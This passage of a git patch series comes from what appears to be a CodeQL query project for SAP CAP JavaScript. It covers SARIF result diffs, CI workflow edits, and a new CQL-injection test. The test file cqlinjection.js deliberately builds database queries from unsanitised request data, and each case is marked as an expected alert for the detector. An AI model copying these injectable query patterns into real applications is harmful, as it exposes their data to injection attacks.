                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 52
+                  "index" : 51
                 },
                 "region" : {
                   "startLine" : 7,
@@ -22395,7 +22976,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 52
+                  "index" : 51
                 },
                 "region" : {
                   "startLine" : 7,
@@ -22413,7 +22994,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 52
+                  "index" : 51
                 },
                 "region" : {
                   "startLine" : 7,
@@ -22431,7 +23012,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 52
+                  "index" : 51
                 },
                 "region" : {
                   "startLine" : 7,
@@ -22449,7 +23030,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 52
+                  "index" : 51
                 },
                 "region" : {
                   "startLine" : 7,
@@ -22467,7 +23048,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 52
+                  "index" : 51
                 },
                 "region" : {
                   "startLine" : 9,
@@ -22499,23 +23080,6 @@
         "message" : {
           "text" : "user-provided value"
         }
-      }, {
-        "id" : 2,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 52
-          },
-          "region" : {
-            "startLine" : 6,
-            "startColumn" : 29,
-            "endColumn" : 32
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
       } ]
     }, {
       "ruleId" : "js/cap-log-injection",
@@ -22553,68 +23117,68 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 57
+                  "index" : 58
                 },
                 "region" : {
                   "startLine" : 6,
-                  "startColumn" : 33,
-                  "endColumn" : 36
+                  "startColumn" : 29,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 57
+                  "index" : 58
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 39,
-                  "endColumn" : 42
+                  "startColumn" : 35,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 57
+                  "index" : 58
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 39,
-                  "endColumn" : 47
+                  "startColumn" : 35,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "req.data"
+                "text" : "msg.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 57
+                  "index" : 58
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 19,
-                  "endColumn" : 36
+                  "startColumn" : 15,
+                  "endColumn" : 32
                 }
               },
               "message" : {
@@ -22625,14 +23189,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 57
+                  "index" : 58
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 21,
-                  "endColumn" : 34
+                  "startColumn" : 17,
+                  "endColumn" : 30
                 }
               },
               "message" : {
@@ -22643,14 +23207,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 57
+                  "index" : 58
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 19,
-                  "endColumn" : 47
+                  "startColumn" : 15,
+                  "endColumn" : 43
                 }
               },
               "message" : {
@@ -22661,122 +23225,126 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 57
+                  "index" : 58
                 },
                 "region" : {
                   "startLine" : 9,
-                  "startColumn" : 38,
-                  "endColumn" : 51
+                  "startColumn" : 32,
+                  "endColumn" : 45
                 }
               },
               "message" : {
                 "text" : "messageToPass"
               }
             }
-          }, {
+          } ]
+        } ]
+      }, {
+        "threadFlows" : [ {
+          "locations" : [ {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 57
+                  "index" : 56
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 36,
-                  "endColumn" : 53
+                  "startLine" : 6,
+                  "startColumn" : 33,
+                  "endColumn" : 36
                 }
               },
               "message" : {
-                "text" : "{ messageToPass }"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 58
+                  "index" : 56
                 },
                 "region" : {
-                  "startLine" : 6,
-                  "startColumn" : 29,
-                  "endColumn" : 32
+                  "startLine" : 7,
+                  "startColumn" : 39,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "msg"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 58
+                  "index" : 56
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 35,
-                  "endColumn" : 38
+                  "startColumn" : 39,
+                  "endColumn" : 47
                 }
               },
               "message" : {
-                "text" : "msg"
+                "text" : "req.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 58
+                  "index" : 56
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 35,
-                  "endColumn" : 43
+                  "startColumn" : 19,
+                  "endColumn" : 36
                 }
               },
               "message" : {
-                "text" : "msg.data"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 58
+                  "index" : 56
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 15,
-                  "endColumn" : 32
+                  "startColumn" : 21,
+                  "endColumn" : 34
                 }
               },
               "message" : {
-                "text" : "{ messageToPass }"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 58
+                  "index" : 56
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 17,
-                  "endColumn" : 30
+                  "startColumn" : 19,
+                  "endColumn" : 47
                 }
               },
               "message" : {
@@ -22787,14 +23355,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 58
+                  "index" : 56
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 15,
-                  "endColumn" : 43
+                  "startLine" : 9,
+                  "startColumn" : 38,
+                  "endColumn" : 51
                 }
               },
               "message" : {
@@ -22805,25 +23373,21 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 58
+                  "index" : 56
                 },
                 "region" : {
                   "startLine" : 9,
-                  "startColumn" : 32,
-                  "endColumn" : 45
+                  "startColumn" : 36,
+                  "endColumn" : 53
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "{ messageToPass }"
               }
             }
-          } ]
-        } ]
-      }, {
-        "threadFlows" : [ {
-          "locations" : [ {
+          }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
@@ -22956,14 +23520,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 57
+            "index" : 58
           },
           "region" : {
             "startLine" : 6,
-            "startColumn" : 33,
-            "endColumn" : 36
+            "startColumn" : 29,
+            "endColumn" : 32
           }
         },
         "message" : {
@@ -22973,14 +23537,14 @@
         "id" : 2,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 58
+            "index" : 56
           },
           "region" : {
             "startLine" : 6,
-            "startColumn" : 29,
-            "endColumn" : 32
+            "startColumn" : 33,
+            "endColumn" : 36
           }
         },
         "message" : {
@@ -23013,7 +23577,7 @@
           }
         },
         "ruleId" : "js/summary/lines-of-code",
-        "value" : 2563
+        "value" : 2586
       }, {
         "rule" : {
           "id" : "js/summary/lines-of-user-code",
@@ -23023,7 +23587,7 @@
           }
         },
         "ruleId" : "js/summary/lines-of-user-code",
-        "value" : 2563,
+        "value" : 2586,
         "baseline" : 0
       } ],
       "semmle.formatSpecifier" : "sarif-latest"

From 59a3f6c12b8b380c35b6b95e6b84af492e54cdf1 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Mon, 25 Mar 2024 14:50:59 -0700
Subject: [PATCH 82/86] Update run-codeql-unit-tests-javascript.yml

add `LGTM_INDEX_FILTERS: "include:**/*.json"` just in case
---
 .github/workflows/run-codeql-unit-tests-javascript.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/run-codeql-unit-tests-javascript.yml b/.github/workflows/run-codeql-unit-tests-javascript.yml
index 243923474..efa7a3491 100644
--- a/.github/workflows/run-codeql-unit-tests-javascript.yml
+++ b/.github/workflows/run-codeql-unit-tests-javascript.yml
@@ -112,6 +112,7 @@ jobs:
           CODEQL_STDLIB_IDENT: ${{matrix.codeql_standard_library_ident}}
           RUNNER_TMP: ${{ runner.temp }}
           LGTM_INDEX_XML_MODE: all
+          LGTM_INDEX_FILTERS: "include:**/*.json"
 
         shell: bash
         run: >

From 118c3b6e7d34fc1aded48fc482fc15144a97b8f8 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Mon, 25 Mar 2024 16:32:59 -0700
Subject: [PATCH 83/86] Testing by shuffling around the steps a bit

1. Ensure presence of cds shell command
2. Compile CAP CDS files
3. Initialize CodeQL
4. Perform CodeQL Analysis
---
 .github/workflows/code_scanning.yml | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/.github/workflows/code_scanning.yml b/.github/workflows/code_scanning.yml
index 2b340f006..ae4ded1e6 100644
--- a/.github/workflows/code_scanning.yml
+++ b/.github/workflows/code_scanning.yml
@@ -36,14 +36,6 @@ jobs:
           mv $dir .github/codeql/extensions/$dir
         done
 
-    # Initializes the CodeQL tools for scanning.
-    - name: Initialize CodeQL
-      uses: github/codeql-action/init@v3
-      with:
-        languages: javascript
-        config-file: ./.github/codeql/codeql-config.yaml
-        debug: true
-
     - name: Ensure presence of cds shell command
       run: |
         if ! command -v cds &> /dev/null
@@ -70,6 +62,14 @@ jobs:
           cd $TEST_DIR
         done
 
+    # Initializes the CodeQL tools for scanning.
+    - name: Initialize CodeQL
+      uses: github/codeql-action/init@v3
+      with:
+        languages: javascript
+        config-file: ./.github/codeql/codeql-config.yaml
+        debug: true
+
     - name: Perform CodeQL Analysis
       id: analyze
       uses: github/codeql-action/analyze@v3

From c9ce5a8b136a86ef5245b4a18e5914b4a9d739ab Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Mon, 25 Mar 2024 17:00:49 -0700
Subject: [PATCH 84/86] Revert "Perform missing version ups from 0.5.0 to
 0.6.0"

This reverts commit 3c0d822da1797fe0005c379515d76d1eea0281d1.
---
 javascript/frameworks/ui5/lib/qlpack.yml  | 4 ++--
 javascript/frameworks/ui5/test/qlpack.yml | 8 ++++----
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/javascript/frameworks/ui5/lib/qlpack.yml b/javascript/frameworks/ui5/lib/qlpack.yml
index 7d9713250..1d445dfae 100644
--- a/javascript/frameworks/ui5/lib/qlpack.yml
+++ b/javascript/frameworks/ui5/lib/qlpack.yml
@@ -1,9 +1,9 @@
 ---
 library: true
 name: advanced-security/javascript-sap-ui5-all
-version: 0.6.0
+version: 0.5.0
 suites: codeql-suites
 extractor: javascript
 dependencies:
   codeql/javascript-all: "^0.8.7"
-  advanced-security/javascript-sap-ui5-models: "^0.6.0"
+  advanced-security/javascript-sap-ui5-models: "^0.5.0"
diff --git a/javascript/frameworks/ui5/test/qlpack.yml b/javascript/frameworks/ui5/test/qlpack.yml
index 67876fb97..f0bbfb9cc 100644
--- a/javascript/frameworks/ui5/test/qlpack.yml
+++ b/javascript/frameworks/ui5/test/qlpack.yml
@@ -1,9 +1,9 @@
 name: advanced-security/javascript-sap-ui5-queries-tests
-version: 0.6.0
+version: 0.5.0
 extractor: javascript
 dependencies:
   codeql/javascript-all: "^0.8.7"
   codeql/javascript-queries: "^0.8.7"
-  advanced-security/javascript-sap-ui5-queries: "^0.6.0"
-  advanced-security/javascript-sap-ui5-models: "^0.6.0"
-  advanced-security/javascript-sap-ui5-all: "^0.6.0"
+  advanced-security/javascript-sap-ui5-queries: "^0.5.0"
+  advanced-security/javascript-sap-ui5-models: "^0.5.0"
+  advanced-security/javascript-sap-ui5-all: "^0.5.0"

From 93704f78da5fb4e020f4617b5ad3968144d5f508 Mon Sep 17 00:00:00 2001
From: Mauro Baluda <mbaluda@github.com>
Date: Tue, 26 Mar 2024 15:11:30 +0100
Subject: [PATCH 85/86] fix paths for json files compiled from cds

---
 .github/workflows/code_scanning.yml           | 19 ++++++-------------
 .../run-codeql-unit-tests-javascript.yml      | 18 +++++-------------
 2 files changed, 11 insertions(+), 26 deletions(-)

diff --git a/.github/workflows/code_scanning.yml b/.github/workflows/code_scanning.yml
index ae4ded1e6..f7f42e705 100644
--- a/.github/workflows/code_scanning.yml
+++ b/.github/workflows/code_scanning.yml
@@ -8,6 +8,7 @@ on:
     branches: [ "main" ]
   schedule:
     - cron: '39 12 * * 2'
+  workflow_dispatch:
 
 env:
   LGTM_INDEX_XML_MODE: all
@@ -46,20 +47,12 @@ jobs:
     # Compile .cds files to .cds.json files.
     - name: Compile CAP CDS files
       run: |
-        cd javascript/frameworks/cap/test/queries/
-        TEST_DIR=$(pwd)
-        for dir in */
+        for cds_file in $(find . -type f \( -iname '*.cds' \) -print)
         do
-          cd $dir
-          echo "I am in $dir"
-          for cds_file in $(find . -type f \( -iname '*.cds' \) -print)
-          do
-            echo "I am compiling $cds_file"
-            cds compile $cds_file \
-              -2 json \
-              -o "$(dirname $cds_file)/$cds_file.json"
-          done
-          cd $TEST_DIR
+          echo "I am compiling $cds_file"
+          cds compile $cds_file \
+            -2 json \
+            -o "$cds_file.json"
         done
 
     # Initializes the CodeQL tools for scanning.
diff --git a/.github/workflows/run-codeql-unit-tests-javascript.yml b/.github/workflows/run-codeql-unit-tests-javascript.yml
index efa7a3491..4b5b41bc9 100644
--- a/.github/workflows/run-codeql-unit-tests-javascript.yml
+++ b/.github/workflows/run-codeql-unit-tests-javascript.yml
@@ -87,20 +87,12 @@ jobs:
       # Compile .cds files to .cds.json files.
       - name: Compile CAP CDS files
         run: |
-          cd javascript/frameworks/cap/test/queries/
-          TEST_DIR=$(pwd)
-          for dir in */
+          for cds_file in $(find . -type f \( -iname '*.cds' \) -print)
           do
-            cd $dir
-            echo "I am in $dir"
-            for cds_file in $(find . -type f \( -iname '*.cds' \) -print)
-            do
-              echo "I am compiling $cds_file"
-              cds compile $cds_file \
-                -2 json \
-                -o "$(dirname $cds_file)/$cds_file.json"
-            done
-            cd $TEST_DIR
+            echo "I am compiling $cds_file"
+            cds compile $cds_file \
+              -2 json \
+              -o "$cds_file.json"
           done
 
       - name: Run test suites

From 66a067c994fe0174997e7d739c4dfc200d9d7f32 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Tue, 26 Mar 2024 09:22:01 -0700
Subject: [PATCH 86/86] Add back `cqlinjection`

---
 .../cqlinjection/cqlinjection.expected        | 84 +++++++++++++++++++
 .../test/queries/cqlinjection/cqlinjection.js | 50 +++++++++++
 .../queries/cqlinjection/cqlinjection.qlref   |  1 +
 3 files changed, 135 insertions(+)
 create mode 100644 javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.expected
 create mode 100644 javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js
 create mode 100644 javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.qlref

diff --git a/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.expected b/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.expected
new file mode 100644
index 000000000..76317f305
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.expected
@@ -0,0 +1,84 @@
+nodes
+| cqlinjection.js:7:34:7:36 | req |
+| cqlinjection.js:7:34:7:36 | req |
+| cqlinjection.js:8:13:8:30 | { book, quantity } |
+| cqlinjection.js:8:13:8:41 | book |
+| cqlinjection.js:8:15:8:18 | book |
+| cqlinjection.js:8:34:8:36 | req |
+| cqlinjection.js:8:34:8:41 | req.data |
+| cqlinjection.js:12:11:12:56 | query |
+| cqlinjection.js:12:19:12:56 | SELECT. ... book}`) |
+| cqlinjection.js:12:44:12:55 | `ID=${book}` |
+| cqlinjection.js:12:50:12:53 | book |
+| cqlinjection.js:13:36:13:40 | query |
+| cqlinjection.js:13:36:13:40 | query |
+| cqlinjection.js:15:27:15:64 | SELECT. ... book}`) |
+| cqlinjection.js:15:27:15:64 | SELECT. ... book}`) |
+| cqlinjection.js:15:52:15:63 | `ID=${book}` |
+| cqlinjection.js:15:58:15:61 | book |
+| cqlinjection.js:17:11:17:57 | query2 |
+| cqlinjection.js:17:20:17:57 | SELECT. ... + book) |
+| cqlinjection.js:17:45:17:56 | 'ID=' + book |
+| cqlinjection.js:17:53:17:56 | book |
+| cqlinjection.js:18:37:18:42 | query2 |
+| cqlinjection.js:18:37:18:42 | query2 |
+| cqlinjection.js:20:27:20:64 | SELECT. ... + book) |
+| cqlinjection.js:20:27:20:64 | SELECT. ... + book) |
+| cqlinjection.js:20:52:20:63 | 'ID=' + book |
+| cqlinjection.js:20:60:20:63 | book |
+| cqlinjection.js:27:11:27:62 | cqn |
+| cqlinjection.js:27:17:27:62 | CQL`SEL ...  + book |
+| cqlinjection.js:27:59:27:62 | book |
+| cqlinjection.js:28:39:28:41 | cqn |
+| cqlinjection.js:28:39:28:41 | cqn |
+| cqlinjection.js:30:11:30:60 | cqn1 |
+| cqlinjection.js:30:18:30:60 | cds.par ... + book) |
+| cqlinjection.js:30:32:30:59 | `SELECT ...  + book |
+| cqlinjection.js:30:56:30:59 | book |
+| cqlinjection.js:31:39:31:42 | cqn1 |
+| cqlinjection.js:31:39:31:42 | cqn1 |
+edges
+| cqlinjection.js:7:34:7:36 | req | cqlinjection.js:8:34:8:36 | req |
+| cqlinjection.js:7:34:7:36 | req | cqlinjection.js:8:34:8:36 | req |
+| cqlinjection.js:8:13:8:30 | { book, quantity } | cqlinjection.js:8:15:8:18 | book |
+| cqlinjection.js:8:13:8:41 | book | cqlinjection.js:12:50:12:53 | book |
+| cqlinjection.js:8:13:8:41 | book | cqlinjection.js:15:58:15:61 | book |
+| cqlinjection.js:8:13:8:41 | book | cqlinjection.js:17:53:17:56 | book |
+| cqlinjection.js:8:13:8:41 | book | cqlinjection.js:20:60:20:63 | book |
+| cqlinjection.js:8:13:8:41 | book | cqlinjection.js:27:59:27:62 | book |
+| cqlinjection.js:8:13:8:41 | book | cqlinjection.js:30:56:30:59 | book |
+| cqlinjection.js:8:15:8:18 | book | cqlinjection.js:8:13:8:41 | book |
+| cqlinjection.js:8:34:8:36 | req | cqlinjection.js:8:34:8:41 | req.data |
+| cqlinjection.js:8:34:8:41 | req.data | cqlinjection.js:8:13:8:30 | { book, quantity } |
+| cqlinjection.js:12:11:12:56 | query | cqlinjection.js:13:36:13:40 | query |
+| cqlinjection.js:12:11:12:56 | query | cqlinjection.js:13:36:13:40 | query |
+| cqlinjection.js:12:19:12:56 | SELECT. ... book}`) | cqlinjection.js:12:11:12:56 | query |
+| cqlinjection.js:12:44:12:55 | `ID=${book}` | cqlinjection.js:12:19:12:56 | SELECT. ... book}`) |
+| cqlinjection.js:12:50:12:53 | book | cqlinjection.js:12:44:12:55 | `ID=${book}` |
+| cqlinjection.js:15:52:15:63 | `ID=${book}` | cqlinjection.js:15:27:15:64 | SELECT. ... book}`) |
+| cqlinjection.js:15:52:15:63 | `ID=${book}` | cqlinjection.js:15:27:15:64 | SELECT. ... book}`) |
+| cqlinjection.js:15:58:15:61 | book | cqlinjection.js:15:52:15:63 | `ID=${book}` |
+| cqlinjection.js:17:11:17:57 | query2 | cqlinjection.js:18:37:18:42 | query2 |
+| cqlinjection.js:17:11:17:57 | query2 | cqlinjection.js:18:37:18:42 | query2 |
+| cqlinjection.js:17:20:17:57 | SELECT. ... + book) | cqlinjection.js:17:11:17:57 | query2 |
+| cqlinjection.js:17:45:17:56 | 'ID=' + book | cqlinjection.js:17:20:17:57 | SELECT. ... + book) |
+| cqlinjection.js:17:53:17:56 | book | cqlinjection.js:17:45:17:56 | 'ID=' + book |
+| cqlinjection.js:20:52:20:63 | 'ID=' + book | cqlinjection.js:20:27:20:64 | SELECT. ... + book) |
+| cqlinjection.js:20:52:20:63 | 'ID=' + book | cqlinjection.js:20:27:20:64 | SELECT. ... + book) |
+| cqlinjection.js:20:60:20:63 | book | cqlinjection.js:20:52:20:63 | 'ID=' + book |
+| cqlinjection.js:27:11:27:62 | cqn | cqlinjection.js:28:39:28:41 | cqn |
+| cqlinjection.js:27:11:27:62 | cqn | cqlinjection.js:28:39:28:41 | cqn |
+| cqlinjection.js:27:17:27:62 | CQL`SEL ...  + book | cqlinjection.js:27:11:27:62 | cqn |
+| cqlinjection.js:27:59:27:62 | book | cqlinjection.js:27:17:27:62 | CQL`SEL ...  + book |
+| cqlinjection.js:30:11:30:60 | cqn1 | cqlinjection.js:31:39:31:42 | cqn1 |
+| cqlinjection.js:30:11:30:60 | cqn1 | cqlinjection.js:31:39:31:42 | cqn1 |
+| cqlinjection.js:30:18:30:60 | cds.par ... + book) | cqlinjection.js:30:11:30:60 | cqn1 |
+| cqlinjection.js:30:32:30:59 | `SELECT ...  + book | cqlinjection.js:30:18:30:60 | cds.par ... + book) |
+| cqlinjection.js:30:56:30:59 | book | cqlinjection.js:30:32:30:59 | `SELECT ...  + book |
+#select
+| cqlinjection.js:13:36:13:40 | query | cqlinjection.js:7:34:7:36 | req | cqlinjection.js:13:36:13:40 | query | This query depends on a $@. | cqlinjection.js:7:34:7:36 | req | user-provided value |
+| cqlinjection.js:15:27:15:64 | SELECT. ... book}`) | cqlinjection.js:7:34:7:36 | req | cqlinjection.js:15:27:15:64 | SELECT. ... book}`) | This query depends on a $@. | cqlinjection.js:7:34:7:36 | req | user-provided value |
+| cqlinjection.js:18:37:18:42 | query2 | cqlinjection.js:7:34:7:36 | req | cqlinjection.js:18:37:18:42 | query2 | This query depends on a $@. | cqlinjection.js:7:34:7:36 | req | user-provided value |
+| cqlinjection.js:20:27:20:64 | SELECT. ... + book) | cqlinjection.js:7:34:7:36 | req | cqlinjection.js:20:27:20:64 | SELECT. ... + book) | This query depends on a $@. | cqlinjection.js:7:34:7:36 | req | user-provided value |
+| cqlinjection.js:28:39:28:41 | cqn | cqlinjection.js:7:34:7:36 | req | cqlinjection.js:28:39:28:41 | cqn | This query depends on a $@. | cqlinjection.js:7:34:7:36 | req | user-provided value |
+| cqlinjection.js:31:39:31:42 | cqn1 | cqlinjection.js:7:34:7:36 | req | cqlinjection.js:31:39:31:42 | cqn1 | This query depends on a $@. | cqlinjection.js:7:34:7:36 | req | user-provided value |
diff --git a/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js b/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js
new file mode 100644
index 000000000..ee16c5c9b
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js
@@ -0,0 +1,50 @@
+import cds from '@sap/cds'
+const { Books } = cds.entities('sap.capire.bookshop')
+
+class SampleVulnService extends cds.ApplicationService {
+  init() {
+    // contains a sample CQL injection
+    this.on('submitOrder', async req => {
+      const { book, quantity } = req.data
+
+      let { stock } = await SELECT`stock`.from(Books, book)
+
+      let query = SELECT.from`Books`.where(`ID=${book}`)
+      let books = await cds.db.run(query) // CQL injection alert
+
+      let books11 = await SELECT.from`Books`.where(`ID=${book}`) // CQL injection alert
+
+      let query2 = SELECT.from`Books`.where('ID=' + book)
+      let books2 = await cds.db.run(query2) // CQL injection alert
+
+      let books22 = await SELECT.from`Books`.where('ID=' + book) // CQL injection alert
+
+      let books3 = await SELECT.from`Books`.where`ID=${book}` //safe
+
+      let id = 2
+      let books33 = await SELECT.from`Books`.where('ID=' + id) //safe
+
+      let cqn = CQL`SELECT col1, col2, col3 from Books` + book
+      let books222 = await cds.db.run(cqn) // CQL injection alert
+
+      let cqn1 = cds.parse.cql(`SELECT * from Books` + book)
+      let books111 = await cds.db.run(cqn1) // CQL injection alert
+
+      const pg = require("pg"),
+        pool = new pg.Pool(config);
+      pool.query(req.params.category, [], function (err, results) { // non-CQL injection alert from CAP source
+        // process results
+      });
+
+      const app = require("express")();
+      app.get("search", function handler(req2, res) {
+        pool.query(req2.params.category, [], function (err, results) { // non-CQL injection alert from non-CAP source
+          // process results
+        });
+      });
+
+      return super.init()
+    })
+  }
+}
+export { SampleVulnService }
